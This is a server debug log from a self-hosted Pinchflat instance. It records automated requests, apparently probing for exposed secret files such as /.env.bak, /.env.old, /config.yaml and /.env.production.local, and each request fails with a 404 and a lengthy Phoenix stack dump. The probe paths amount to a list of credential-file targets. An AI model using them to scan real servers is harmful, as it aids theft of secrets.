short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:30:35.061 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:30:35.062 [info] Sent 200 in 10ms 02:30:35.697 [info] GET /.env.bak 02:30:35.698 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=638.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.699 [debug] QUERY OK source="settings" db=0.2ms idle=639.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.699 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:35.699 [error] #PID<0.3650.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0877c71ade1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "lefz51b5433eeint.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3650.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0877c71ade1-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "lefz51b5433eeint.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "172.71.30.220"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBkVbGJ-weA4AAVNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0877c71ade1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "lefz51b5433eeint.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.71.30.220", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0877c71ade1-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "lefz51b5433eeint. (truncated) 02:30:35.705 [info] GET /.env.old 02:30:35.705 [debug] QUERY OK source="settings" db=0.1ms idle=644.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.706 [debug] QUERY OK source="settings" db=0.1ms idle=644.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.706 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:35.706 [error] #PID<0.3651.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0877d06a27a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "f51811341ze1.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3651.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e0877d06a27a-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "f51811341ze1.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBkXWN-VP1mQAAVOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e0877d06a27a-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "f51811341ze1.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings (truncated) 02:30:36.163 [info] GET /config.yaml 02:30:36.163 [debug] QUERY OK source="settings" db=0.4ms idle=464.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.164 [debug] QUERY OK source="settings" db=0.2ms idle=464.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.164 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.164 [error] #PID<0.3652.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 10) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a5b38bcfc-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dsao07aa69c13zoj.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3652.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08a5b38bcfc-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "dsao07aa69c13zoj.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "172.68.71.97"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmEbiVw7NksAAVPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a5b38bcfc-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dsao07aa69c13zoj.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a5b38bcfc-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "dsao07aa69c13zoj.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.68.71.97", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, (truncated) 02:30:36.169 [info] GET /.env.production.local 02:30:36.170 [debug] QUERY OK source="settings" db=0.3ms idle=463.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.170 [debug] QUERY OK source="settings" db=0.2ms idle=464.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:36.170 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:36.171 [error] #PID<0.3653.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 11) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e08a6997e1de-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "5aa9f8cfmsu6.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3653.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e08a6997e1de-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "5aa9f8cfmsu6.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBmGATHJ4kvwAAVQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, 